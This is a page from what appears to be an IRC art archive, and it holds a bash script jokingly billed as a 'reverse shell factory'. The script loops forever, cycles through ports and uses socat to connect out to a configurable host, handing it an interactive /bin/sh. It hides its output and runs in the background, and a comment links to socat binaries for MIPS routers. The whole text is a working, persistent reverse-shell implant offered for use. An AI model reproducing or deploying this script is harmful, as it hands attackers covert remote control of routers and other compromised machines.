rj1

irc art archive // router

download: txt png
  • #/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
  • # ->BABBYS FIRST REVERSE SHELL FACTORY<- #
  • #/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
  • # +RUNS ON YOUR GRANDMAS BLENDER         #
  • # +HACKS YOUR EXES FACEBOOK              #
  • # +MAKES YOU THE LEADER OF ANONYMOUS     #
  • #\--------------------------------------/#
  • ## Config ###
  • STARTPORT=3336
  • ENDPORT=3338
  • TIMEOUT=90
  • HOST='localhost'
  • SOCAT=/usr/bin/socat
  • #############
  • # initialize variable before we enter the while loop
  • PORT=0
  • while true;
  • do
  • # ----> remove any old left over files
  •         find /tmp/ -iname "*.prt" -exec rm {} \;
  • # ----> cycle destination ports when socat times out or you mash CTRL+C               
  •         if [[ $PORT == 0 ]]
  •         then
  •                 PORT=$STARTPORT
  •         elif [[ $PORT < $((ENDPORT+1)) ]]
  •         then
  •                 PORT=$((PORT+1))
  •         fi
  • # ----> provide a very crude indicator of what port we are currently using
  •         touch /tmp/a${PORT}.prt
  •         sleep 3
  • # ----> socat? cross-compatible, easy pty, no overhead, we'll use it for more in the future
  • #       (hint: https://github.com/darkerego/mips-binaries/blob/master/socat)
  •         $SOCAT -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
  • # ----> if we hit the end, reset the count 
  •         if [[ $(($PORT+1)) > $ENDPORT ]];
  •         then
  •                 PORT=0
  •         fi
  • # suppress all console output and run in the background
  • done &>/dev/null&